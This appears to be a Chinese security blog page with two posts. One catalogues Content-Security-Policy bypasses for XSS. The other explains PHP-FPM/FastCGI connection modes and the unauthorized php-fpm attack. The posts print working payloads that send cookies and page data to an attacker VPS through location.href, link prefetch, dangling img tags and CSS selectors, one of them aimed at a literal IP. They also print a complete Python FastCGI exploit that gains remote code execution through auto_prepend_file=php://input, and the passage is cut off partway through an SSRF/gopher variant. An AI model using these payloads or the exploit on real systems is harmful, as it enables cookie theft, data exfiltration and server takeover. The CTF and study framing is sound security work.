当代网站太容易收到XSS的攻击,CSP就是一个统一有效的防止网站收到XSS攻击的防御方法。CSP是一种白名单策略,当有从非白名单允许的JS脚本出现在页面中,浏览器会阻止脚本的执行。
CSP的具体介绍可以看看手册(内容安全策略)[[https://developer.mozilla.org/zh-CN/docs/Web/Security/CSP]](https://developer.mozilla.org/zh-CN/docs/Web/Security/CSP)

CSP的绕过

CSP的绕过从CSP的诞生开始就一直被前端的安全研究人员所热衷,本文总结一些我了解到的CSP的绕过方式,若有不足,敬请批评补充

location.href

CSP不影响location.href跳转,因为当今大部分网站的跳转功能都是由前端实现的,CSP如果限制跳转会影响很多的网站功能。所以,用跳转来绕过CSP获取数据是一个万能的办法,虽然比较容易被发现,但是在大部分情况下对于我们已经够用
当我们已经能够执行JS脚本的时候,但是由于CSP的设置,我们的cookie无法带外传输,就可以采用此方法,将cookie打到我们的vps上

location.href = "vps_ip:xxxx?"+document.cookie

有人跟我说可以跳过去再跳回来,但是这样不是会死循环一直跳来跳去吗2333333
利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外

link标签导致的绕过

这个方法其实比较老,去年我在我机器上试的时候还行,现在就不行了
因为这个标签当时还没有被CSP约束,当然现在浏览器大部分都约束了此标签,但是老浏览器应该还是可行的。
所以我们可以通过此标签将数据带外

<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">

<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">

当然这个是我们写死的标签,如何把数据带外?

var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);

这样就可以把cookie带外了
利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外

使用Iframe绕过

当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效
A页面:

<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1>

B页面:

<!-- B页面 -->

<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>

图片.png
setTimeout是为了等待iframe加载完成
利用条件:

  1. 一个同源站点内存在两个页面,一个页面存在CSP保护,另一个页面没有CSP保护且存在XSS漏洞
  2. 我们需要的数据在存在CSP保护的页面

用CDN来绕过

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险
这里给出orange师傅绕hackmd CSP的文章(Hackmd XSS)[[https://paper.seebug.org/855/]](https://paper.seebug.org/855/)
案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP,如下

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>

这个是存在低版本angular js的cdn服务商列表
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76
除了低版本angular js的模板注入,还有许多库可以绕过CSP
下面引用()[https://www.jianshu.com/p/f1de775bc43e]
比如Jquery-mobile库,如果CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp

<div data-role=popup id='<script>alert(1)</script>'></div>

还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>  

blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库
https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
利用条件:

  1. CDN服务商存在某些低版本的js库
  2. 此CDN服务商在CSP白名单中
  3. XSS页面可以新建标签

站点可控静态资源绕过

给一个绕过codimd的(实例)[[https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md]](https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md)
案例中codimd的CSP中使用了www.google-analytics.com
而www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP
图片.png

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

图片.png

同理,若其他站点下提供了可控静态资源的功能,且CSP中允许了此站点,则可以采用此方式绕过
利用条件:

  1. 站点存在可控静态资源
  2. 站点在CSP白名单中
  3. 可以新建script标签

站点可控JSONP绕过

JSONP的详细介绍可以看看我之前的一篇文章https://xz.aliyun.com/t/4470
大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析
以ins'hack 2019/的bypasses-everywhere这道题为例,题目中的csp设置了www.google.com

Content-Security-Policy: script-src www.google.com; img-src *; default-src 'none'; style-src 'unsafe-inline'

看上去非常天衣无缝,但是google站点存在了用户可控jsonp

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">

<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>

图片.png
配合注释符,我们即可执行任意js
下面是一些存在用户可控资源或者jsonp比较常用站点的github项目
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180
利用条件:

  1. 站点存在可控Jsonp
  2. 站点在CSP白名单中
  3. 可以新建script标签

Base-uri绕过

第一次知道base-uri绕过是RCTF 2018 rBlog的非预期解https://blog.cal1.cn/post/RCTF 2018 rBlog writeup
当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置baseuri,就可以使用标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是性对base标签中指定的url的相对路径
exp

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>

图片.png
图片.png
注意:如果页面的script-src不是采用的nonce而是self或者站点,则不能使用此方法,因为vps不在csp白名单内

利用条件:

  1. script标签使用nonce
  2. 没有额外设置base-uri
  3. xss页面可以新建标签

不完整script标签绕过nonce

考虑下下列场景,如果存在这样场景,该怎么绕过CSP

<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
  //do some thing
</script>

如果我们输入 http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1) 即可xss
这是因为当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第四行的<script会变成一个属性,值为空,之后的nonce='xxxxx'会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scrip
图片.png

但是在chrome中,虽然第二个<script 被当成了属性名,但依旧会干扰chrome对标签的解析,造成错误,使我们的exp无法成功执行
图片.png
这里可以用到标签的一个技巧,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略

<!-- 3.php -->
<h1 a="123" b="456" a="789" a="abc">123</h1>

图片.png

于是我们可以输入 http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)" a=123 a= 
先新建一个a属性,然后再新建第二个a属性,这样我们就将第二个<script赋给了第二个a属性,浏览器在接戏的时候直接忽略了第二个属性及其后面的值,这样exp就能成功在chrome浏览器上执行
图片.png
利用条件:

  1. 可控点在合法script标签上方
  2. XSS页面的CSP script-src采用了nonce方式

object-src绕过(PDFXSS)

加入只有这一个页面,我们能有办法执行JS吗

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<?php echo $_GET['xss']?>

在CSP标准里面,有一个属性是object-src,它限制的是<embed> <object> <applet>标签的src,也就是插件的src
于是我们可以通过插件来执行Javascript代码,插件的js代码并不受script-src的约束
最常见的就是flash-xss,但是flash实在太老,而且我想在看的师傅们也很少会开浏览器的flash了,所以我这里也不说明了,这里主要讲之前一个提交asrc的pdf-xss为例
PDF文件中允许执行javascript脚本,但是之前浏览器的pdf解析器并不会解析pdf中的js,但是之前chrome的一次更新中突然允许加载pdf的javascript脚本

<embed width="100%" height="100%" src="//vps_ip/123.pdf"></embed>

图片.png
当然pdf的xss并不是为所欲为,比如pdf-xss并不能获取页面cookie,但是可以弹窗,url跳转等
具体可以看看这篇文章https://blog.csdn.net/microzone/article/details/52850623
里面有上面实例用的恶意pdf文件

当然,上面的例子并没有设置default-src,所以我们可以用外域的pdf文件,如果设置了default-src,我们必须找到一个pdf的上传点,(当然能上传的话直接访问这个pdf就能xss了2333),然后再用标签引用同域的pdf文件

利用条件:

  1. 没有设置object-src,或者object-src没有设置为'none'
  2. pdf用的是chrome的默认解析器

SVG绕过

SVG作为一个矢量图,但是却能够执行javascript脚本,如果页面中存在上传功能,并且没有过滤svg,那么可以通过上传恶意svg图像来xss 之前的easer CONFidence CTF就出过svg的xss
引用 https://www.smi1e.top/通过一道题了解缓存投毒和svg-xss/
1.svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

图片.png
利用条件:

  1. 可以上传svg图片

不完整的资源标签获取资源

看看下面的例子,我们如何把flag给带出来

<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;">
<?php echo $_GET['xss']?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>

这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见
虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出
exp: http://127.0.0.1/2.php?xss=<img src="//VPS_IP?a= 
此时,由于src的引号没有闭合,html解析器会去一直寻找第二个引号,其中的大部分标签都不会被正常解析,所以在第四行的第一个引号前的所有内容,都会被当成src的值被发送到我们的vps上
图片.png
需要注意的是,chrome下这个exp并不会成功,因为chrome不允许发出的url中含有回车或<,否者不会发出
图片.png
利用条件:

  1. 可以加载外域资源 (img-src: *)
  2. 需要获取页面某处的信息
  3. 不好总结,看上面例子,懂意思就行

CSS选择器获取内容

这个来自2018 SECCON CTF的一道题,虽然原题中不是用来绕csp,但是也能拿过来利用,当然利用条件比价,需要
设置style-src为*
原题可以看看这篇文章https://www.yourhome.ren/index.php/sec/608.html
大概思路就是css提供了选择器,当选择器到对应元素的时,可以加载一个外域请求,相当于sql的盲注

input[value^="6703"] {background-image:url("http://vps_ip/?6703");}

这句话的意思是,当input表情的值已6703开头,则去加载后面的url,于是我们可以一位一位爆破,先猜第一位,再猜第二位。。。

<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; style-src 'unsafe-inline';img-src *">
<?php echo $_GET['xss']?>
<input value="flag{0xffff}">

exp: http://127.0.0.1/1.php?xss=<style>input[value^="flag{0xffff}"] {background-image:url("http://47.106.65.216:1002/?flag{0xffff}")}%3C/style%3E 
图片.png
太苛刻了,之前想到随便提一下好了
利用条件:(好苛刻啊都不想写了)

  1. style允许内敛,img可以跨域
  2. 需要获取的数据在页面内
  3. 可以新建标签
  4. 可以多次发送xss且获取的数据不会变(毕竟不可能一次请求就注出来,除非能执行js写脚本一口气注)

CRLF绕过

HCTF2018的一道题,当一个页面存在CRLF漏洞时,且我们的可控点在CSP上方,就可以通过注入回车换行,将CSP挤到HTTP返回体中,这样就绕过了CSP
原题github https://github.com/Lou00/HCTF2018_Bottle

后话

若有不足,敬请批评补充

参考链接

https://xz.aliyun.com/t/318#toc-3
https://xz.aliyun.com/t/315/
https://www.jianshu.com/p/f1de775bc43e
https://inside.pixiv.blog/kobo/5137
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180
https://corb3nik.github.io/blog/ins-hack-2019/bypasses-everywhere
https://www.smi1e.top/通过一道题了解缓存投毒和svg-xss/
https://blog.cal1.cn/post/RCTF 2018 rBlog writeup
https://lorexxar.cn/2017/05/16/nonce-bypass-script/
https://blog.csdn.net/microzone/article/details/52850623
https://paper.seebug.org/855/
https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md

- Read More -
安全研究

前言

看了zsx师傅的*CTF echohub WP,发现自己对这一块特别不熟,再此记录一下

PHP的连接方式

apche2-module

把php当做apache的一个模块,实际上php就相当于apache中的一个dll或一个so文件,phpstudy的非nts模式就是默认以module方式连接的
图片.png

CGI模式

此时php是一个独立的进程比如php-cgi.exe,web服务器也是一个独立的进程比如apache.exe,然后当Web服务器监听到HTTP请求时,会去调用php-cgi进程,他们之间通过cgi协议,服务器把请求内容转换成php-cgi能读懂的协议数据传递给cgi进程,cgi进程拿到内容就会去解析对应php文件,得到的返回结果在返回给web服务器,最后web服务器返回到客户端,但随着网络技术的发展,CGI方式的缺点也越来越突出。每次客户端请求都需要建立和销毁进程。因为HTTP要生成一个动态页面,系统就必须启动一个新的进程以运行CGI程序,不断地fork是一项很消耗时间和资源的工作。

FastCGI模式

fastcgi本身还是一个协议,在cgi协议上进行了一些优化,众所周知,CGI进程的反复加载是CGI性能低下的主要原因,如果CGI解释器保持在内存中 并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、Fail-Over特性等等。

简而言之,CGI模式是apache2接收到请求去调用CGI程序,而fastcgi模式是fastcgi进程自己管理自己的cgi进程,而不再是apache去主动调用php-cgi,而fastcgi进程又提供了很多辅助功能比如内存管理,垃圾处理,保障了cgi的高效性,并且CGI此时是常驻在内存中,不会每次请求重新启动

PHP-FPM

这个大家肯定都不陌生,在linux下装php环境的时候,经常会用到php-fpm,那php-fpm是什么
上面提到,fastcgi本身是一个协议,那么就需要有一个程序去实现这个协议,php-fpm就是实现和管理fastcgi协议的进程,fastcgi模式的内存管理等功能,都是由php-fpm进程所实现的
下面引用p师傅的博客文章


Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM。
FPM按照fastcgi的协议将TCP流解析成真正的数据。
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php


本质上fastcgi模式也只是对cgi模式做了一个封装,本质上只是从原来web服务器去调用cgi程序变成了web服务器通知php-fpm进程并由php-fpm进程去调用php-cgi程序

判断连接模式

就拿*CTF来说,如何判断一个php的连接模式?在接触不到服务器文件的情况下,我们可以通过phpinfo来判断
图片.png
图片.png

图片.png
phpinfo的第三行代表了PHP的连接模式,第一张图的Apache 2.0 Handler代表了这个php使用了apache-module模式,第二张图的CGI/FastCGI代表了用CGI模式进行通信,第三张图的FPM代表了php-fpm进程的fastcgi模式

一般来说,apache服务器常用module方式起php,nginx服务器常用fastcgi模式起php,所以接下来我已nginx为例

php-fpm的模式

是不是很绕,php-fpm下还可以继续分,如果使用fastcgi模式,nginx与php-fpm通信可以通过两种模式,一种是TCP模式,一种是unix 套接字(socket)模式

TCP模式

TCP模式即是php-fpm进程会监听本机上的一个端口(默认9000),然后nginx会把客户端数据通过fastcgi协议传给9000端口,php-fpm拿到数据后会调用cgi进程解析
nginx的配置文件像这个样子

/etc/nginx/sites-available/default

location ~ \.php$ {
      index index.php index.html index.htm;
      include /etc/nginx/fastcgi_params;
      fastcgi_pass 127.0.0.1:9000;
      fastcgi_index index.php;
      include fastcgi_params;
 }

php-fpm的配置文件像这个样子
/etc/php/7.3/fpm/pool.d/www.conf

listen=127.0.0.1:9000

Unix Socket

unix socket其实严格意义上应该叫unix domain
socket,它是unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。
具体原理这里就不讲了,但是此通信方式的性能会优于TCP
/etc/nginx/sites-available/default

location~\.php${
      index index.php index.html index.htm;
      include /etc/nginx/fastcgi_params;
      fastcgi_pass unix:/run/php/php7.3-fpm.sock;
      fastcgi_index index.php;
      include fastcgi_params;
}

/etc/php/7.3/fpm/pool.d/www.conf

listen = /run/php/php7.3-fpm.sock

php-fpm未授权漏洞

既然nginx通过fastcgi协议与php-fpm通信。那么理论上,我们可以伪造fastcgi协议包,欺骗php-fpm进程,从而执行任意代码
这里有个bug的地方是,除disable_function以外的大部分php配置,都可以在协议包里面更改,包括php手册规定的
php.ini配置选项列
fastcgi协议中只可以传输配置信息及需要被执行的文件名及客户端传进来的get,post,cookie等数据。看上去我们即使能传输任意协议包也不能任意代码执行,但是我们可以通过更改配置信息来执行任意代码

auto_prepend_file

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件,并且auto_prepend_file可以使用php伪协议
我们先把配置auto_prepend_file修改为php://input

php://input

php://input是客户端所有的POST数据
因为fastcgi协议中可以控制数据段POST数据所以这样就可以包含post传进来的数据,但是php://input需要开启allow_url_include,官方手册虽然这个配置规定只能在php.ini中修改,但是bug的是,fastcgi协议的PHP_ADMIN_VALUE选项可以修改几乎所有的配置,所以通过PHP_ADMIN_VALUE把allow_url_include修改为True,这样就可以通过fastcgi协议任意代码执行

文件名

但是还需要注意的是,我们需要知道一个服务端已知的php文件,因为php-fpm拿到fastcgi数据包后,先回去判断客户端请求的文件是否存在(即fastcgi数据包中的文件名),如果不存在就不会执行,并且由于security.limit_extensions这个配置,文件名必须是php后缀。如果服务端解析php,直接猜绝对路径用/var/www/html/index.php就行了,但是如果不知道Web的绝对路径或者web目录下没有php文件,就可以指定一些php默认安装就存在的php文件
可以使用find / -name *.php查找自己服务器上有哪些php后缀的文件

图片.png
比如/usr/local/lib/php/PEAR.php或/usr/share/php/PEAR.php
接下来就可以用别人的脚本啦!

脚本(来源于p师傅)

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
print(force_text(response))

用法python exp.py -c phpcode -p port host filename

比如 python exp.py -c "<?php echo shell_exec('ifconfig');?>" 127.0.0.1 /var/www/html/test.php
post默认为9000端口,这样就可以攻击未授权任意代码执行啦!

SSRF+Gopher

除了攻击未授权,现在大部分php-fpm应用都是绑定在127.0.0.1,所以我们当然可以通过SSRF来攻击php-fpm,我改了一下p师傅的脚本,暂时只能用python2跑

import socket
import base64
import random
import argparse
import sys
from io import BytesIO
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

